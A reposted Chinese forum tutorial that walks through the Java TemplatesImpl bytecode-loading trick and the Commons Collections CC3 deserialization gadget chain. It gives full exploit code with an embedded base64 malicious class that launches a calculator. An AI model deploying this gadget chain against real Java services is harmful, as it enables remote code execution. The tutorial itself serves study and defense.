安全矩阵

 找回密码
 立即注册
搜索
查看: 2880|回复: 0

java安全 TemplatesImpl与CC3链

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-4 18:08:35 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-7 11:10 编辑

java安全 TemplatesImpl与CC3链原创 Met32 [url=]moonsec[/url] 2022-04-04 14:21
收录于话题
#投稿5个
#java安全2个
转载自https://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653578438&idx=1&sn=8c80aad4f1739856db835a14d7921600&chksm=811b7284b66cfb92890cbcd104143f6f51f9527bcb5363a6931cedb5fe6cc95d1c6e294d7cde&mpshare=1&scene=23&srcid=0404ugPlyFyQwLbiO36ucSSx&sharer_sharetime=1649053892982&sharer_shareid=ee83a55e0b955b99e8343acbb61916b7#rd
TemplatesImpl与CC3链
本文笔者带领大家学习CC3这条链,还是老样子,分开来学。首先来学习TemplatesImpl加载字节码,这是CC 链中的一部分·。
接上篇文章 CC1链:https://mp.weixin.qq.com/s/lZO_IWyytMwoNNXoZKN6nw
  1. TemplatesImpl#newTransformer() ->
  2.     TemplatesImpl#getTransletInstance()
  3.         TemplatesImpl#defineTransletClasses()
  4.             TransletClassLoader#defineClass()
复制代码

接下来TemplatesImpl代码如下,短短6行代码,当你执行就可以执行命令。(base64加密的数据是一个恶意类,用来弹出calc的)

  1. byte[] bytes =
  2. Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
复制代码

2
  1. TemplatesImpl templates = new TemplatesImpl();
复制代码
3
  1. setField(templates,"_bytecodes",new byte[][]{bytes});
复制代码
4
  1. setField(templates,"_name","123");
复制代码
5
  1. setField(templates,"_tfactory",new TransformerFactoryImpl());
复制代码
6
  1. templates.newTransformer();
复制代码



跟进getTransletInstance(),发现了对_null进行判断是否为空所以才会有了前面通过反射修改name的值,才能绕过该if
  1. setField(templates,"_name","123");
复制代码


之后跟进defineTransletClasses()
defineTransletClasses()方法如下(注意这里最开始有一个if(_bytecodes==0) 所以需要绕过),成功会调用到TransletClassLoader#defineClass()方法
而TransletClassLoader#defineClass()在传入字节码之后,会返回class对象为_class


之后在下方判断,读取的字节码是否继承了AbstractTranslet(父类),如果继承了,并最终会给_transletIndex赋为0



最终通过_class[0].newInstance()调用


重头戏来了,CC3代码如下:​​​​​​​

  1. public class CCthree {
  2.     public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
  3. 3byte[] bytes =
  4. Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
  5. TemplatesImpl obj = new TemplatesImpl();
  6. setFieldValue(obj,"_bytecodes",new byte[][]{bytes});
  7. setFieldValue(obj,"_name","123");
  8. setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
  9. ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
  10. new ConstantTransformer(TrAXFilter.class),
  11. new InstantiateTransformer(new Class[]{Templates.class},new Object[]
  12. {obj})
  13.     });
  14.     HashMap hashMap = new HashMap();

  15. Map lazymap = LazyMap.decorate(hashMap,chain);
  16. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  17. Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
  18. constructor.setAccessible(true);
  19. InvocationHandler invocationHandler =
  20. (InvocationHandler)constructor.newInstance(Override.class,lazymap);
  21.     Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
  22. Object newObj = constructor.newInstance(Override.class,proxyMap);
  23. //序列化与反序列化
  24.     ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
  25. objectOutputStream.writeObject(newObj);
  26. objectOutputStream.close();
  27.     ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));
  28. objectInputStream.readObject();
  29. objectInputStream.close();
  30. public    static void setFieldValue(Object obj,String name,Object value) throws
  31. NoSuchFieldException, IllegalAccessException {
  32. Field field = obj.getClass().getDeclaredField(name);
  33. field.setAccessible(true);
  34. field.set(obj,value);
  35. }
  36. }
复制代码

短短30多行代码诠释完毕。(可能有人心里会觉得 这都什么玩意儿?)
小伙伴们如果在看完上一篇CC1链这篇文章的话,肯定就会发现很多熟悉的代码。
在初始化的时候,用到了InstantiateTransformer这个类。跟进分析,可以发现transform是用来执行命令的

lazyMap初始化赋值如下:

其get方法用来调用到ChainedTransformer的transform方法

接下来又是AnnotationInvocationHandler这个类了
在AnnotationInvocationHandler.invoke()方法会调用memberValues.get方法,而memberValues变量就是在第四行传入的lazymap
  1. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  2. Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
  3. constructor.setAccessible(true);
  4. InvocationHandler invocationHandler =
  5. (InvocationHandler)constructor.newInstance(Override.class,lazymap);
  6. Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]
  7. {Map.class},invocationHandler);
  8. Object newObj = constructor.newInstance(Override.class,proxyMap);
复制代码



  1. 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get。
复制代码


所以有了上方为什么用到了代理。其次代理不能够被序列化,所以最后需要用AnnotationInvocationHandler 包裹一层。与CC1一样。
最后成功弹出计算器


最后提醒一下各位,setFieldValue是本人自己定义的方法,用反射修改来修改私有属性用的。
​​​​​​​

  1. public    static void setFieldValue(Object obj,String name,Object value) throws
  2. NoSuchFieldException, IllegalAccessException {
  3. Field field = obj.getClass().getDeclaredField(name);
  4. field.setAccessible(true);
  5. field.set(obj,value);
  6. }
复制代码



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:31 , Processed in 0.013484 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表